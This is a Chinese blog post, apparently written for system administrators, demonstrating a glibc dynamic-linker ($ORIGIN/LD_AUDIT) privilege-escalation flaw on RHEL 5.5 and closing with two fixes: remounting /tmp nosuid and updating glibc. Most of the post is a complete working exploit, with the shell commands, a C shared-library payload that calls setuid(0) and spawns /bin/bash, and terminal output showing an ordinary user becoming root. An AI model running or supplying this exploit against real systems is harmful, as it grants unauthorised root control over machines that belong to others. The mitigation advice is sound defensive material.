linux gcc 权限不够,Linux gcc++漏洞:普通用户获得root权限

Linux gcc++漏洞:普通用户获得root权限,已经在RHEL5.5 32上测试过

原理:The GNU C library dynamic linker expands $ORIGIN in setuid library search path

1、创建一个普通测试用户:

[root@ www.linuxidc.com  ~]# useradd test

[root@ www.linuxidc.com  ~]# passwd test

Changing password for user test.

New UNIX password:

BAD PASSWORD: it is too short

Retype new UNIX password:

passwd: all authentication tokens updated successfully.

2、切换到这个用户:

[root@ www.linuxidc.com  ~]# su - test

[test@ www.linuxidc.com  ~]$ whoami

test

[test@ www.linuxidc.com  ~]$ useradd user1

-bash: useradd: command not found

3、开始提权

[test@ www.linuxidc.com  ~]$ mkdir /tmp/exploit

[test@ www.linuxidc.com  ~]$ ln /bin/ping /tmp/exploit/target

[test@ www.linuxidc.com  ~]$ exec 3< /tmp/exploit/target

[test@ www.linuxidc.com  ~]$ ls -l /proc/$$/fd/3

lr-x------ 1 test test 64 08-07 17:43 /proc/5922/fd/3 -> /tmp/exploit/target

[test@ www.linuxidc.com  ~]$ rm -rf /tmp/exploit/

[test@ www.linuxidc.com  ~]$ ls -l /proc/$$/fd/3

lr-x------ 1 test test 64 08-07 17:43 /proc/5922/fd/3 -> /tmp/exploit/target (deleted)

[test@ www.linuxidc.com  ~]$ cat > payload.c

----------------------------------------

void __attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

----------------------------------------

[test@ www.linuxidc.com  ~]$ cat payload.c

void __attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

[test@ www.linuxidc.com  ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

[test@ www.linuxidc.com  ~]$ ls -l /tmp/exploit

-rwxrwxr-x 1 test test 4223 08-07 17:43 /tmp/exploit

[test@ www.linuxidc.com  ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3

Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]

[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]

[-M mtu discovery hint] [-S sndbuf]

[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

4、权限验证:

[root@ www.linuxidc.com  ~]# whoami

root

[root@ www.linuxidc.com  ~]# useradd user1

[root@ www.linuxidc.com  ~]# useradd user2

[root@ www.linuxidc.com  ~]# ls /home/

test  user1  user2

[root@ www.linuxidc.com  ~]# id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

大家看到提权后的结果了,作为运维工程师遇到这类问题,就需要提供解决方法了!

有两种解决办法:

1、绑定目录

nosuid的原理:像/etc/passwd这种文件,本来只有root用户有权限修改,但是用户本身也可以修改自己的密码(超出它本身权限的行为)nosuid可以停止这种提升特权的办法。比如/tmp目录就有这样的权限,我们就需要对它严加控制。

mount -o bind /tmp /tmp

mount -o remount,bind,nosuid /tmp /tmp

2、更新glibc版本(红帽官方推荐)

yum -y update glibc

希望看到此文章的运维同事们能够及时的更新软件及补丁。

推荐阅读:

0b1331709591d260c1c78e86d0c51c18.png

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值